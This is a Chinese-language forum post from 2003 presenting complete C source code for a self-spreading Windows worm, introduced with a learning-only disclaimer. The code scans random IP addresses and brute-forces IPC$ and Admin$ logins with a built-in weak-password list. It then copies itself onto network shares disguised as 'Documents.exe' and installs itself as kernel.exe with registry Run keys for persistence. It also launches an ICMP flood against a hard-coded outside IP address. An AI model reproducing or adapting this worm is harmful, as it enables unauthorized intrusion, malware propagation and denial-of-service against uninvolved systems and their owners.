DIY一个简单共享儒虫
/* WriteBy:LionD8 qq: 10415468 2003.2
声明: 本人 是为了 学习实践才写的,请大家 也只用来学习,测试用,请不要 在INTER网上传播,否则引起的任何事情与本人和重庆黑盟无关
先来讲讲基本思路 这个儒虫比较简单,主要是通过扫描弱口令,和共享资源进行传播。 并且伪装一个文件夹。 当其他人 运行它后,会在系统目录复制成 KERNERL.EXE 的文件 并修改注册表, 下次开机 自动 运行 KERNEL.EXE 再去感染其他机器。原理很简单。
程序在调试的时候是控制台模式,所有的_tprintf是调试所用在WINMAIN里没有作用
本病毒,没有自我保护部分,会被轻而一举的杀死。因为保护部分比较麻烦。本来做了 一点但是 没有成功。再加上 没有多少时间,找错。就暂时不做了。 :) 要是 哪位高手 感兴趣, 有什么好点子。一起研究啊! (上面有QQ) 由于没有自我保护不会,这算是一个失败的儒虫,估计传播力度不大。 由于在网上 传播病毒 违法,我也 不敢试试 威力,就只在 本机和虚拟机上测试了一下 能达到预期目的。
代码如下: (现丑了) */ #define UNICODE #define _UNICODE
#include "winsock2.h" #include <ws2tcpip.h> #include "windows.h" #include "stdio.h" #include "lm.h" #include "tchar.h"
#pragma comment (lib,"ws2_32") #pragma comment (lib,"mpr") #pragma comment (lib,"netapi32")
typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号 USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }ICMP_HEADER;
typedef struct { int size; SOCKADDR_IN attack; char* buf; SOCKET s; }NETINFOR; //用来传递给Attack函数的基本信息
TCHAR *DesIP=_T("209.67.3.106"); //攻击的目标 可以是白宫 :)
BOOL CALLBACK GetUserList(TCHAR *server,TCHAR Name[50][30]); BOOL CALLBACK ConnectRemote(BOOL,TCHAR *,TCHAR *,TCHAR *,TCHAR *); void CALLBACK RandomIP(TCHAR* RIP); DWORD CALLBACK Spread(LPVOID); BOOL CALLBACK GetSouces(TCHAR *server,TCHAR Souce[15][20]); void CALLBACK UpFile(TCHAR *RIP, TCHAR *name, TCHAR *pass, TCHAR Souce[15][20]); DWORD WINAPI Attack(LPVOID);
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
DWORD WINAPI Spread(LPVOID) //传播 如果探测到密码 就上传病毒 { TCHAR PassWord[15][15]={_T(""),_T("asdf"),_T("123456789"),_T("911110"),_T("666888"),_T("hacker"), _T("hello"),_T("password"),_T("123456"),_T("111"),_T("administrator"),_T("admin"),_T("system"), _T("windows"),_T("123321")}; //一个内置字典 ,可以自己扩充 while(TRUE) { TCHAR RIP[50]=_T(""); TCHAR name[30]=_T(""); TCHAR pass[15]=_T(""); TCHAR UserName[50][30]={0}; TCHAR Souce[15][20]={0}; RandomIP(RIP); NETRESOURCE nr; DWORD ret; TCHAR ipc[100]=_T(""); swprintf(ipc,_T("\\\\%s\\ipc$"),RIP); nr.lpLocalName=NULL; nr.lpProvider=NULL; nr.dwType=RESOURCETYPE_ANY; nr.lpRemoteName=ipc; ret=WNetAddConnection2(&nr,pass,name,0);
if(ret!=ERROR_SUCCESS) { printf("\nIPC$ Connect Failed.\n"); continue; } if( GetUserList(RIP,UserName) && GetSouces(RIP,Souce) ) { ret=WNetCancelConnection2(ipc,0,TRUE); if(ret!=ERROR_SUCCESS) { _tprintf(_T("IPC$ Disconnect Failed.\n")); // return -1; } BOOL ISOK=FALSE; int k=0; int i; for (i=0; UserName[0]!=0 ; i++) { _tprintf(_T("\n next username!")); while(k<15) if ( ConnectRemote(TRUE,RIP,UserName,PassWord[k],_T("Admin$")) ) { ISOK=TRUE; wcscpy(name,UserName); wcscpy(pass,PassWord[k]); ConnectRemote(FALSE,RIP,UserName,PassWord[k],_T("Admin$")); goto SpreadSuccess; } else k++; if ( ConnectRemote(TRUE,RIP,UserName,UserName,_T("Admin$")) ) { ISOK=TRUE; wcscpy(name,UserName); wcscpy(pass,UserName); ConnectRemote(FALSE,RIP,UserName,UserName,_T("Admin$")); goto SpreadSuccess; } } SpreadSuccess: if(ISOK) { UpFile(RIP,name,pass,Souce); } } else WNetCancelConnection2(ipc,0,TRUE); Sleep(10); } }
//============================================================= BOOL CALLBACK ConnectRemote(BOOL bConnect,TCHAR *lpHost,TCHAR *lpUserName,TCHAR *lpPassword,TCHAR *lpSouce) { TCHAR lpIPC[256]={0}; DWORD dwErrorCode; NETRESOURCE NetResource;
swprintf(lpIPC,_T("\\\\%s\\%s"),lpHost,lpSouce);
NetResource.lpLocalName = NULL; NetResource.lpRemoteName = lpIPC; NetResource.dwType = RESOURCETYPE_ANY; NetResource.lpProvider = NULL;
if(!wcsicmp(lpPassword,_T("NULL"))) { lpPassword=NULL; }
if(bConnect) { _tprintf(_T("Now Connecting ...... ")); while(1) { dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,0); if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) { WNetCancelConnection2(lpIPC,0,TRUE); } else if(dwErrorCode==NO_ERROR) { _tprintf(_T("Success !\n")); break; } else { _tprintf(_T("Failure !\n")); return FALSE; } Sleep(10); } } else { _tprintf(_T("Now Disconnecting ... ")); dwErrorCode=WNetCancelConnection2(lpIPC,0,TRUE); if(dwErrorCode==NO_ERROR) { _tprintf(_T("Success !\n")); } else { _tprintf(_T("Failure !\n")); return FALSE; } } return TRUE; }
BOOL CALLBACK GetUserList(TCHAR* server,TCHAR Name[50][30]) //获得USER列表 { PNET_DISPLAY_USER pBuf,pBuffer; DWORD nStatus; DWORD dwRec; DWORD i=0; DWORD lerror; DWORD dwLevel; int Num=0; dwLevel=1; // wchar_t wpchar[30]={0}; // MultiByteToWideChar(CP_ACP,0,server,-1,wpchar,30); // wprintf(wpchar); printf("\n******* GetUserList *******\n"); do { nStatus=NetQueryDisplayInformation(server,dwLevel,i,100,0xFFFFFFFF,&dwRec,(PVOID *)&pBuf); if((nStatus==ERROR_SUCCESS) || (nStatus==ERROR_MORE_DATA)) { pBuffer=pBuf; for(;dwRec>0;dwRec--) { // char bufname[30]={0}; // WideCharToMultiByte(CP_MACCP,0,pBuffer->usri1_name,-1,bufname,30,NULL,NULL); if(Num<50) { memcpy(Name[Num],pBuffer->usri1_name,wcslen(pBuffer->usri1_name)*sizeof(TCHAR)); Num++; } else goto UserFuncExit; _tprintf(_T("\nName:\t\t%s"),Name[Num-1]); i=pBuffer->usri1_next_index; pBuffer++; } } else { lerror=GetLastError(); if(lerror==997) { _tprintf(_T("\nGetUserList:\t\tOverlapped I/O operation is in progress.\n")); return FALSE; } else { _tprintf(_T("\nGetUserList Error:\t%d\n"),lerror); return FALSE; } } UserFuncExit: if(pBuf!=NULL) { NetApiBufferFree(pBuf); } }while(nStatus==ERROR_MORE_DATA);
return TRUE; }
void CALLBACK RandomIP(TCHAR* RIP) //产生一个随机IP { unsigned long h=GetTickCount()*198288; CHAR *p; p=inet_ntoa(*(struct in_addr*)&h); MultiByteToWideChar(CP_ACP,0,p,-1,RIP,50); _tprintf(_T("%s"),RIP); }
BOOL CALLBACK GetSouces(TCHAR* server,TCHAR Souce[15][20]) //获得远程共享资源 { DWORD er=0,tr=0,resume=0; DWORD i,dwLevel; PSHARE_INFO_1 pBuf,pBuffer; NET_API_STATUS nStatus; DWORD lerror; int Num=0; dwLevel=1; _tprintf(_T("\n****** Netbios ******\n")); do { nStatus=NetShareEnum(server,dwLevel,(PBYTE *)&pBuf,MAX_PREFERRED_LENGTH,&er,&tr,&resume); if((nStatus==ERROR_SUCCESS) || (nStatus==ERROR_MORE_DATA)) { pBuffer=pBuf; for(i=0;i<er;i++) { if(Num>=15) goto ExitGetSouce;
if(pBuffer->shi1_type==STYPE_DISKTREE) { wcscpy(Souce[Num++],pBuffer->shi1_netname); _tprintf(_T("Name: %s\n"),Souce[Num-1]); _tprintf(_T("Disk drive.\n")); } else if(pBuffer->shi1_type==STYPE_PRINTQ) { _tprintf(_T("Print queue.\n")); } else if(pBuffer->shi1_type==STYPE_DEVICE) { _tprintf(_T("Communication device.\n")); } else if(pBuffer->shi1_type==STYPE_IPC) { _tprintf(_T("Interprocess communication (IPC).\n")); } else if(pBuffer->shi1_type==STYPE_SPECIAL) { wcscpy(Souce[Num++],pBuffer->shi1_netname); _tprintf(_T("Name: %s\n"),Souce[Num-1]); _tprintf(_T("Special share reserved for interprocess communication (IPC$) or remote administration of the server (ADMIN$).\n")); } else { _tprintf(_T("\n")); } pBuffer++; } } else { lerror=GetLastError(); if(lerror==997) { _tprintf(_T("\nNetbios:\tOverlapped I/O operation is in progress.\n")); return FALSE; } else { _tprintf(_T("\nNetbios Error:\t%d\n"),lerror); return FALSE; } } ExitGetSouce: if(pBuf!=NULL) { NetApiBufferFree(pBuf); } } while(nStatus==ERROR_MORE_DATA); return TRUE; }
void CALLBACK UpFile(TCHAR *RIP, TCHAR *name, TCHAR *pass, TCHAR Souce[15][20]) //在每个共享文件夹上传病毒 病毒伪装成文件夹,名字Documents.exe { TCHAR lpCurrentPath[MAX_PATH]={0}; TCHAR lpSystemPath[MAX_PATH]={0}; int i; GetSystemDirectory(lpSystemPath,MAX_PATH); wcscat(lpCurrentPath,lpSystemPath); _tprintf(_T("%s"),lpSystemPath); wcscat(lpCurrentPath,_T("\\kernel.exe")); _tprintf(_T("\n%s"),lpCurrentPath); for (i=0; i<15 && Souce[0]!=0; i++) { if( ConnectRemote(TRUE, RIP, name, pass, Souce) ) { TCHAR lpRemoteEXEPath[MAX_PATH]={0}; swprintf(lpRemoteEXEPath,_T("\\\\%s\\%s\\Documents.exe"),RIP,Souce); CopyFile(lpCurrentPath,lpRemoteEXEPath,FALSE); if( !wcscmp(Souce,_T("ADMIN$")) ) { memset(lpRemoteEXEPath,0,wcslen(lpRemoteEXEPath)*sizeof(TCHAR)); swprintf(lpRemoteEXEPath,_T("\\\\%s\\%s\\"),RIP,Souce); CopyFile(lpCurrentPath,lpRemoteEXEPath,FALSE); } ConnectRemote(FALSE, RIP, name, pass, Souce); } } }
VOID WINAPI ModifyReg() //修改注册表 { TCHAR lpSystemPath[MAX_PATH]={0}; TCHAR lpCurrentPath[MAX_PATH]={0}; GetSystemDirectory(lpSystemPath,MAX_PATH); wcscat(lpSystemPath,_T("\\kernel.exe")); TCHAR *lpValueName=_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\"); RegSetValue(HKEY_LOCAL_MACHINE,lpValueName,REG_SZ,lpSystemPath,wcslen(lpSystemPath)*sizeof(TCHAR)); TCHAR *lpSunkey=_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\\"); RegSetValue(HKEY_LOCAL_MACHINE,lpSunkey,REG_SZ,lpSystemPath,wcslen(lpSystemPath)*sizeof(TCHAR)); GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); wprintf(lpCurrentPath); CopyFile(lpCurrentPath,lpSystemPath,FALSE); }
DWORD WINAPI Attack(LPVOID lp) //向目的IP发ICMP FLOOD { SOCKET sock; char* AckBuf; SOCKADDR_IN attack; int size; NETINFOR *p = (NETINFOR*)lp; sock=p->s; AckBuf=p->buf; size=p->size; memcpy(&attack,&p->attack,sizeof(attack)); DWORD ErrorCode=0; while(TRUE) { for(int counter=0;counter<1024;counter++) ErrorCode=sendto(sock,AckBuf,size,0,(struct sockaddr*)&attack,sizeof(attack)); Sleep(5); } return 0; }
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
WSADATA WSAData; SOCKET sock=NULL; SOCKADDR_IN attack; BOOL flag=TRUE; DWORD ErrorCode=0; ICMP_HEADER icmp_header; memset(&icmp_header,0,sizeof(icmp_header)); if ( WSAStartup(MAKEWORD(2,2), &WSAData)!=0 ) { return 0; }
if((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { // MessageBox(NULL,_T("sock false"),NULL,NULL); } int TimeOut=2000; ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { // MessageBox(NULL,_T("ICMP false"),NULL,NULL); } char cp[30]={0}; WideCharToMultiByte(CP_MACCP,0,DesIP,-1,cp,30,NULL,NULL);
attack.sin_family=AF_INET; attack.sin_addr.S_un.S_addr=inet_addr(cp);
icmp_header.i_type = 8; icmp_header.i_code = 0; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq=888; CHAR AckBuf[100]={0}; memcpy(AckBuf, &icmp_header, sizeof(icmp_header)); memset(AckBuf+sizeof(icmp_header), 'A', 20); icmp_header.i_cksum = checksum((USHORT *)AckBuf, sizeof(icmp_header)+20);
int datasize=sizeof(icmp_header)+20; memcpy(AckBuf, &icmp_header, sizeof(icmp_header)); memset(AckBuf+sizeof(icmp_header), 'A', 20);
NETINFOR infor; memset(&infor,0,sizeof(infor)); infor.buf=AckBuf; infor.size=datasize; memcpy(&infor.attack,&attack,sizeof(attack)); infor.s=sock; ModifyReg(); HANDLE t; int i=0;
for (i=0; i<2; i++) //用两个线程进行FLOOD攻击 t=CreateThread(NULL,0,Attack,&infor,NULL,NULL);
for (i=0; i<20; i++) //用20个线程传播 CreateThread(NULL,0,Spread,NULL,NULL,NULL);
WaitForMultipleObjects(1,&t,TRUE,INFINITE); //等待线程结束,相当于阻塞 return 1; }
//后续: 感谢Brief的技术文章 //上述是LIOND8的个人观点。欢迎大家指正 //==============让我们共同进步!!!!! ………… 一个成长中的菜鸟
//一个没有完成的“垃圾”病毒 //不过里面的有些技术 还是值得渴望技术的新手学习的。 
|